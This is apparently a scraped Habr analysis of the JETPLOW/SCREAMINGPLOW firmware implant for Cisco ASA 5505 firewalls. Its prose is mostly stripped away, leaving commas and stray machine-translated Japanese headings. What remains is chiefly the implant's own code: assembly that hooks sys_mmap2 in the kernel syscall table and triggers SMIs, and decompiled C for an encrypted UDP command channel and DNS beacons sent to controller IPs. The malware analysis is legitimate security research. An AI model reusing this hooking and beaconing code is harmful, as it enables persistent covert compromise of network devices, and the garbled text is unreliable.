 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x611 ;... pushal push 0x10000 call malloc ; allocate 64 KiB for FCA and FUA push eax ; pass ptr to allocated memory via stack mov dx, 0xcf8 mov eax, 0x800078d0 out dx, eax add edx, 4 mov al, 0x43 out dx, al ; pass control back to SCA ;... 

64 KiB FCA FUA , SCA #SMI , FCA FUA .


, SCA , _td_ctx_exit SP Main . , 0x25E FCA .


:


マリヌナぞの浞透プロセスの䞀般的なスキヌム


SP Main . , , , SP Main – SUA (userarea) .


SP Main userarea , FUA . , , SP Main – . , SP Main " ", .


lina (ASA)


, SCA : SP Main BIOS Flash user space . – mmap2 syscall_table . , SCA , .


syscall_table sysenter_entry , int 0x80 (syscall). int 0x80 IDT , 0x400 IDT .


 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x82F ; int __cdecl _fca_inject_lina(int a0, int a1, int cr3, int cr4, int zero, int idt_base) ; ... mov eax, [ebp+idt_base] mov [esp], eax ; va call large _va2pa test eax, eax ; eax = IDT phys addr jz exit_bad mov edx, [eax+404h] ; 0x404 – int 0x80 interrupt descriptor offset LO part mov dx, 0 movzx eax, word ptr [eax+400h] ; 0x400 – int 0x80 interrupt descriptor offset LO part mov ebx, edx or ebx, eax ; ebx <- int 128 handler va ; ... call large _va2pa mov [ebp+int80_handler_pa], eax ; ... mov edx, [ebp+int80_handler_pa] cmp byte ptr [edx], 0FFh ; ff 14 85 xx xx xx xx call dword ds:xxxxxxxx[eax*4] ; which stands for `call *sys_call_table(,%eax,4)` ; see sysenter_entry() at `arch/i386/kernel/entry.S` jnz short loop2_cont cmp byte ptr [edx+1], 14h jnz short loop2_cont cmp byte ptr [edx+2], 85h ; ... mov eax, [edx+3] ; ff 14 85 xx xx xx xx call dword ds:xxxxxxxx[eax*4] ; ^^^^^^^^^^^ -> eax = syscall_table VA add eax, 300h ; 300h is sys_mmap2 handler ptr offset relative to syscall_table base mov [esp+_va], eax call large va2pa mov [ebp+sys_mmap2_pa], eax ; ... mov ebx, [ebp+orig_sys_mmap2_handler_va] mov edi, [ebp+kernel_rm_code_pa] mov esi, 0FFF60000h ; FCA flash address mov ecx, 87h ; SP sys_mmap2 code size rep movs byte ptr es:[edi], byte ptr [esi] ; it is safe to store SP sys_mmap2 code ; in the kernel real-mode part of code ; 'cause by the time the sys_mmap2 will be called ; that code will not be called anymore mov edx, [ebx] mov eax, [ebp+kernel_rm_code_pa] mov [eax+83h], edx ; store original sys_mmap2 VA in far jump ; so that SP sys_mmap2 could actually use it mov eax, [ebp+kernel_rm_ep] mov ecx, [ebp+sys_mmap2_handler_ptr_pa] mov [ecx], eax ; modify sys_mmap2 handler ptr within syscall_table ; to make it point to SP sys_mmap2 mov eax, 0DCEC3h ; remember original sys_mmap2 VA for when SCA finishes it work ; it could restore the original handler ptr within syscall_table ; ... mov eax, 1 ; success jmp short exit_ok ; ... 

, "" "": mmap2 " " user space-, . mmap2 . SCA BIOS Flash, , /dev/mem . , , mmap2 /dev/mem 0xFF000 – lina .


 // /tmp/asa831-k8-rootfs/asa/bin/lina @ 0x8AE9A10 //... fd = primary_rom_fd; if (!primary_rom_fd){ fd = fopen("/dev/mem", "r+"); primary_rom_fd = fd; if (!fd){ printf("Error opening %s\n", "/dev/mem"); exit(1); } } _fileno = fileno(fd); *(_DWORD *)(a2 - 20) = 0; *(_DWORD *)(a2 - 16) = 0xFFC00000 / *(_DWORD *)(a2 - 32); _primary_rom = sys_mmap2(*(void **)(a2 - 20), 0x80000u, 3, 1, _fileno, *(_DWORD *)(a2 - 20 + 4)); if (_primary_rom > 0xFFFFFF7E){ *__errno_location() = -_primary_rom; LABEL_4: perror("mmap: error mapping primary rom"); exit(1); } //... 

, lina - 512 KiB BIOS Flash. , FCA, FUA SUA , 1 MiB mmap2 , . lina .


SP Main . , mmap2 , , /, , , SCA #SMI .


 ; `bin/asa5505/SCP28/asa5505_patch60000.bin` offset 0x063 ; ... push eax ; eax <- mapped address mov dx, 0CF8h mov eax, 800078D0h out dx, eax mov dx, 0CFCh mov al, 42h ; this will signal SCE that sys_mmap2() has ; triggered this #SMI out dx, al pop eax retn ; this will return to SP Main EP ; ... 

SCA , sysenter_ret (, ), SP Main . SCA RSM , SP Main , , , :


 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x2D1 ; ... mov ecx, [edi+esi*4+30h] ; ecx <- sysenter_ret mov [eax+4], ecx ; 62000 will return to where sysenter should have been mov [edi+esi*4+3Ch], ebx mov dword ptr [eax], 0 mov eax, [edi+4] ; eax <- sys_mmap2 ret addr mov fs:_mmap2_ret, eax mov eax, [edi] ; eax <- mapped memory va? mov fs:_ss_eax, eax add eax, 62000h add eax, 0 mov [edi+esi*4+30h], eax ; syscall will return to 62000 mov edx, fs:_ss_esp add edx, 8 mov fs:_ss_esp, edx ; ... 

:


リナぞの浞透プロセスの䞀般的なスキヌム


SP Main , , , malina . ( lina 0x62200 BIOS Flash), " ", .



, FUA - userarea . , , SUA . , , ). SP Main , , C&C, : ", . - Lina. ?".


, . , C&C , .


, lina . SP Main FCA FUA RAM _td_ctx_enter , malina SCA . , SP Main lina , . malina , 0x100040 .


SP Main ( FCA ) PBD Header BIOS Flash anonymous mapping .


SP Main . /proc/self/maps lina .


, ELF- , SP Main _td_ctx_enter , SCA , malina ( 55 53 65 57 ).


mprotect , , , , SP Main .


, , lina , malina .


_td_ctx_enter , SP Main , . : (socket, bind, sendto, close, etc.); ( , , etc.); SNMP ( ); syslog .


, . , , FCA (. FCA 0x2D60 ).


, , main . , C&C, .



OSI


C&C OSI .


IPv4 IPv6 , .


UDP . PBD_Header.min_src_port – PBD_Header.max_src_port . , C&C.


Benign -, , , , . , Benign - 512 ( BENIGNSIZE ), , . Benign - .


RC6 Benign -.


" – ". , . Benign -.


Benign-


Benign -, -, :


 struct BenignHeader { uint8_t type; /* request type */ uint8_t padLength; /* minimal size of BENIGN packet is 8 bytes, hence the padding */ uint16_t pkt_ID; /* incremented with each new packet */ uint32_t benign_payload_length; /* payload size */ uint32_t sequenceNumber; /* sequential number of payload fragment */ uint32_t ackNumber; /* number of request packet for which this packet is response to */ }; struct BenignPacket { uint32_t cf_crc; /* some value as returned by Check_Function */ uint32_t cv[2]; /* initializtion vector for encryption */ uint8_t salt[8]; /* random salt */ BenignHeader header; /* payload header */ uint8_t payload[0]; /* CO to the rescue */ } 

type /, .


( ):



padLength , , 8 . , , RC6, 16 (8 salt + 16 header = 24 , 32 ).


pkt_ID .


benign_payload_length payload .


sequenceNumber , 512 .


ackNumber , .


cf_crc , , , UDP - Benign -.


, BenignPacket2.salt , RC6. PBD_Header.default_key1 . cv , 16- SHA-1 , , . salt defauly_key1 TSC .


Beacon-


, , , , IP- , , , "" Beacon -.


, IP- , Beacon - DNS - A ( address record ), www.subdomain.domain.com . domain – , , , , subdomain – .


, , Cobalt Strike "" .


DNS :


 // `bin/asa5505/SCP28/asa5505_patch60000.bin` offset 0x9670 // ... memcpy(subdomain, _subdomin, 16); dns_packet->query.www_sz = 3; memcpy(dns_packet->query.www, aWww, 3); dns_packet->query.subdomain_sz = 0x11; dns_packet->query.subdomain[0] = 0x41; memcpy(&dns_packet->query.subdomain[1], subdomain, 16); dns_packet->query.domain_sz = _sizeof_pbd_domain; memcpy(dns_packet->query.domain, _5400->domain_name, _sizeof_pbd_domain); com = &dns_packet->query.domain[_sizeof_pbd_domain]; com->com_sz = 3; // sizeof("com") without trailing \x00 memcpy(com->com, aCom, 4); com->qtype = rol_16_8(1); // Type A query (host address) qclass = rol_16_8(1); ip_selector = (_5400->beacon_num & 1) == 0; com->qclass = qclass; // Class IN query (Internet address) if ( ip_selector ) daddr = _5400->beacon_secondary_IP; else daddr = _5400->beacon_primary_IP; // unsigned __int32 __usercall udp_send@<eax>(int a1@<eax>, int buf@<edx>, unsigned __int16 len@<cx>, unsigned int a4, __int16 sport, __int16 dport, unsigned int daddr) udp_send(_5400, _5400->_send_buf, com + 9 - dns_packet, _5400->_const_FFFFFFFF, sport, 53, daddr); // ... 

DNS - Beacon - IP- IP- , subdomain .


, , Beacon - DNS -, , , 400 .


Beacon - DNS -: PBD_Header.primary_beacon_IP , – PBD_Header.secondary_beacon_IP .


, Beacon - , . "" DNS -, , , , .


, Beacon - DNS -.


, :


www.[dev_id?][implant_id_enc][some_obf].[domain].com ,



DNS - bin/asa5505/SCP28/asa5505_patch60000.bin 0x9670 .


Coming soon...


, . , :




Cisco :


Blogs.cisco.comブログスクリヌンショット


?


, , , , ? , : , , « » - ..


verify , , , , . – .


, , , JETPLOW .


になる方法


, , . , – , – , .


, ASA , JP/SCP. , .


SecureBoot Trust Anchor?


" Cisco". , , , , Cisco.


おわりに


The Shadow Brokers , :


  1. The Shadow Brokers , , .
  2. JETPLOW/SCREAMINGPLOW , .
  3. (TPM) JETPLOW , .




Source: https://habr.com/ru/post/J309560/


All Articles